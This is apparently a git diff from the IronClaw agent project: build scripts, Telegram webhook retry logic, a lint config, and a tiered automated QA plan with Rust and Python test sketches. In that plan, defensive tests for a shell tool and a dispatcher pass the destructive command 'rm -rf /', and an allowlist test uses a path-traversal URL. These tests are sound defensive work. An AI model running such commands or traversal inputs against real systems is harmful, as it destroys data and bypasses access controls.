echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
@@ -8,6 +8,11 @@
"name": "discord_bot_token", "name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token (from Developer Portal)", "prompt": "Enter your Discord Bot Token (from Developer Portal)",
"optional": false "optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (from Developer Portal > General Information)",
"optional": false
} }
] ]
}, },
@@ -39,6 +44,9 @@
"emit_rate_limit": { "emit_rate_limit": {
"messages_per_minute": 100, "messages_per_minute": 100,
"messages_per_hour": 5000 "messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
} }
} }
}, },
+63 -42
View File
@@ -373,19 +373,19 @@ impl Guest for TelegramChannel {
"Webhook mode enabled (tunnel configured)", "Webhook mode enabled (tunnel configured)",
); );
// Register webhook with Telegram API // Register webhook with Telegram API — propagate errors so a bad token
// causes activation to fail rather than silently succeeding.
if let Some(ref tunnel_url) = config.tunnel_url { if let Some(ref tunnel_url) = config.tunnel_url {
// Clear any stale webhook first to avoid 409 Conflict
let _ = delete_webhook();
channel_host::log( channel_host::log(
channel_host::LogLevel::Info, channel_host::LogLevel::Info,
&format!("Registering webhook: {}/webhook/telegram", tunnel_url), &format!("Registering webhook: {}/webhook/telegram", tunnel_url),
); );
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) { register_webhook(tunnel_url, config.webhook_secret.as_deref())
channel_host::log( .map_err(|e| format!("Failed to register webhook: {}", e))?;
channel_host::LogLevel::Error,
&format!("Failed to register webhook: {}", e),
);
}
} }
} else { } else {
channel_host::log( channel_host::log(
@@ -393,14 +393,10 @@ impl Guest for TelegramChannel {
"Polling mode enabled (no tunnel configured)", "Polling mode enabled (no tunnel configured)",
); );
// Delete any existing webhook before polling // Delete any existing webhook before polling. Telegram returns success
// Telegram doesn't allow getUpdates while a webhook is active // when no webhook exists, so any error here (e.g. 401) means a bad token.
if let Err(e) = delete_webhook() { delete_webhook()
channel_host::log( .map_err(|e| format!("Bot token validation failed: {}", e))?;
channel_host::LogLevel::Warn,
&format!("Failed to delete webhook (may not exist): {}", e),
);
}
} }
// Configure polling only if not in webhook mode // Configure polling only if not in webhook mode
@@ -901,36 +897,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
None, None,
); );
match result { let mut response = match result {
Ok(response) => { Ok(response) => response,
if response.status != 200 { Err(e) => return Err(format!("HTTP request failed: {}", e)),
let body_str = String::from_utf8_lossy(&response.body); };
return Err(format!("HTTP {}: {}", response.status, body_str));
}
// Parse Telegram API response let mut retried = false;
let api_response: TelegramApiResponse<serde_json::Value> = if response.status == 409 {
serde_json::from_slice(&response.body) channel_host::log(
.map_err(|e| format!("Failed to parse response: {}", e))?; channel_host::LogLevel::Warn,
"409 Conflict -- deleting existing webhook and retrying",
);
let _ = delete_webhook();
retried = true;
if !api_response.ok { response = match channel_host::http_request(
return Err(format!( "POST",
"Telegram API error: {}", "https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
api_response &headers.to_string(),
.description Some(&body_bytes),
.unwrap_or_else(|| "unknown".to_string()) None,
)); ) {
} Ok(resp) => resp,
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
channel_host::log( };
channel_host::LogLevel::Info,
&format!("Webhook registered successfully: {}", webhook_url),
);
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
} }
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
}
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
if !api_response.ok {
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!(
"Telegram API error{}: {}",
context,
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
let context = if retried { " (after retry)" } else { "" };
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully{}: {}", context, webhook_url),
);
Ok(())
} }
// ============================================================================ // ============================================================================
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+8
View File
@@ -0,0 +1,8 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
+908
View File
@@ -0,0 +1,908 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
